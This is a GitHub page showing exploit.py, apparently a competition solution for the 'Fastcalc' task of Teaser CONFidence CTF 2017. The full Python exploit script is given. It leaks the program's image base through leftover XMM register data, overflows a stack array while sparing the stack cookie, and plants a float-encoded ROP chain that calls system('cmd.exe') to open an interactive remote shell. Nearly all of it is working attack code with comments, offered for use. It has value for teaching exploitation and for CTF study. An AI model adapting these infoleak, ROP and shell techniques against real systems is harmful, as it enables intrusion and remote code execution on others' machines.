- Notifications
You must be signed in to change notification settings - Fork 64
/
Copy pathexploit.py
117 lines (97 loc) · 4.14 KB
/
exploit.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
#!/usr/bin/env python
# -*- coding: utf-8 -*-
#
# Filename: exploit.py
# Author: Mateusz Jurczyk
# Task: Fastcalc
# Competition: Teaser CONFidence CTF 2017
# Category: Software exploitation
# Scoring: 500 pts (hard)
# Number of solves: 11 out of 258 teams
importsys
importstruct
importsocket
importtelnetlib
defread_until(s, text):
buffer=""
whilelen(buffer) <len(text):
buffer+=s.recv(1)
whilebuffer[-len(text):] !=text:
buffer+=s.recv(1)
returnbuffer[:-len(text)]
defnew_expr(s, expression):
read_until(s, "Operation: ")
s.sendall("new\n")
read_until(s, "Enter the expression: ")
s.sendall("%s\n"%expression)
defrun(s):
read_until(s, "Operation: ")
s.sendall("run\n")
defquit(s):
read_until(s, "Operation: ")
s.sendall("quit\n")
defmain():
# Since the exploit only works 25% of the time (because two random addresses
# must align with regards to their least significant nibble), we have to make
# a variable number of attempts before we can obtain the flag.
whileTrue:
# Connect to remote host.
s=socket.socket()
s.connect(("127.0.0.1", 4141))
# Create a new expression with 6 + signs. When they are executed, XMM0-XMM5 are
# expected to be set to zero, while XMM6 should contain an address within the
# task executable. By executing the 6 remaining + signs, we will transfer the
# leaked value into XMM0, which will then become the result of the expression.
new_expr(s, "+"*6)
# Create another expression with 256 + signs. The creation of the expression
# will trigger a memcpy() call, which will copy the RPN representation from
# stack to heap. One in four times, the lowest nibble of the source and
# destination addresses will align, which will cause memcpy() to use an
# optimized branch utilizing the XMM registers for fast operation. The XMM6-7
# registers will keep this leftover data, while XMM0-XMM5 will be cleaned up by
# some std::cout calls.
#
# Due to structure alignment holes in the descriptor of RPN items, XMM6 should
# contain a valid address within the challenge executable image.
new_expr(s, "+"*256)
# Run the calculation of both created expressions. The first one will leak an
# address in the result.
run(s)
read_until(s, "result: ")
result=float(read_until(s, "\n"))
leaked_address=struct.unpack("<Q", struct.pack("<d", result))[0] >>32
# If the leaked data doesn't seem to be a valid address, the src/dst addresses
# for memcpy() must have not aligned, which means no information was disclosed
# through XMM6. We have to reconnect and try again.
LEAKED_OFFSETS= [0xC9EF, 0x134C2]
IMAGE_BASE=None
foroffsetinLEAKED_OFFSETS:
if ((leaked_address&0xffff) == (offset&0xffff)):
IMAGE_BASE=leaked_address-offset
break
ifIMAGE_BASE==None:
print"[-] Leaked invalid address %x, retrying."%leaked_address
s.close()
continue
print"[+] Leaked image base address: %x"%IMAGE_BASE
# Construct a minimal ROP chain of system("cmd.exe") based on the image base
# address of the program.
SYSTEM_CALL_OFFSET=0x3055
CMDEXE_STRING_OFFSET=0x25380
retaddr=IMAGE_BASE+SYSTEM_CALL_OFFSET
argument=IMAGE_BASE+CMDEXE_STRING_OFFSET
rop_float=repr(struct.unpack("<d", struct.pack("<II", retaddr, argument))[0])
# Create a new expression consisting of 131 "0+" segments, which is 262
# operators in total. This will overwrite the 256-element local array, but in
# such a way that the stack cookie will remain untouched. The last segment of
# the expression is a float-encoded ROP, which will invoke cmd.exe.
new_expr(s, "0+"*131+str(rop_float))
# Exit the main loop, which will trigger the overwritten return address of
# main(), and will present us with a remote shell.
quit(s)
# Switch to interactive mode.
t=telnetlib.Telnet()
t.sock=s
t.interact()
if__name__=="__main__":
main()